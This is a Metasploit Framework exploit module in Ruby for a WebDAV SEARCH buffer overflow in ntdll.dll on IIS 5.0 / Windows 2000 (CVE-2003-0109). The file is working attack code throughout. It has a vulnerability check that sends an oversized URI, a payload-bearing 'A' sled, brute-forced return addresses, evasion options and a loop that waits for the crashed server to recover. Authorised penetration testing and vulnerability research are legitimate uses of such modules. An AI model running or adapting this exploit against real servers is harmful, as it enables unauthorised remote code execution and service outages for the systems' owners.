## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow', 'Description' => %q{ This exploits a buffer overflow in NTDLL.dll on Windows 2000 through the SEARCH WebDAV method in IIS. This particular module only works against Windows 2000. It should have a reasonable chance of success against any service pack. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2003-0109'], [ 'OSVDB', '4467'], [ 'BID', '7116'], [ 'MSB', 'MS03-007'], ], 'Privileged' => false, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic Brute Force', { } ], ], 'DisclosureDate' => 'May 30 2003', 'DefaultTarget' => 0)) register_evasion_options([ OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']), # XXX - ugh, there has to be a better way to remove entries from an # enum that overwriting the evalable enum option OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none']) ], self.class ) deregister_options('HTTP::junk_params', 'HTTP::header_folding') end def autofilter rport = datastore['RPORT'].to_i if ( rport == 139 or rport == 445 ) rport = 80 end true end def check url = 'x' * 65535 xml = "\r\n\r\n" + "\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n" response = send_request_cgi({ 'uri' => '/' + url, 'ctype' => 'text/xml', 'method' => 'SEARCH', 'data' => xml }, 5) if (response and response.body =~ /Server Error\(exception/) return Exploit::CheckCode::Vulnerable end # Did the server stop acceping requests? begin send_request_raw({'uri' => '/'}, 5) rescue return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit # verify the service is running up front send_request_raw({'uri' => '/'}, 5) # The targets in the most likely order they will work targets = [ # Almost Targetted :) "\x4f\x4e", # =SP3 "\x41\x42", # ~SP0 ~SP2 "\x41\x43", # ~SP1, ~SP2 # Generic Bruteforce "\x41\xc1", "\x41\xc3", "\x41\xc9", "\x41\xca", "\x41\xcb", "\x41\xcc", "\x41\xcd", "\x41\xce", "\x41\xcf", "\x41\xd0", ] xml = "\r\n\r\n" + "\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n" if datastore['invalid_search_request'] == true xml = rand_text(rand(1024) + 32) end # The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A' # This decodes to "inc ecx" url = 'A' * 65516 url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded targets.each { |ret| print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0]) url[ 283, 2 ] = ret begin send_request_cgi({ 'uri' => '/' + url, 'ctype' => 'text/xml', 'method' => 'SEARCH', 'data' => xml }, 5) handler rescue => e print_error("Attempt failed: #{e}") end 1.upto(8) { |i| sleep(0.25) return if self.session_created? } if !service_running? print_error('Giving up, IIS must have completely crashed') return end } end # Try connecting to the server up to 20 times, with a two second gap # This gives the server time to recover after a failed exploit attempt def service_running? print_status('Checking if IIS is back up after a failed attempt...') 1.upto(20) {|i| begin send_request_raw({'uri' => '/'}, 5) rescue print_status("Connection failed (#{i} of 20)...") sleep(2) next end return true } return false end end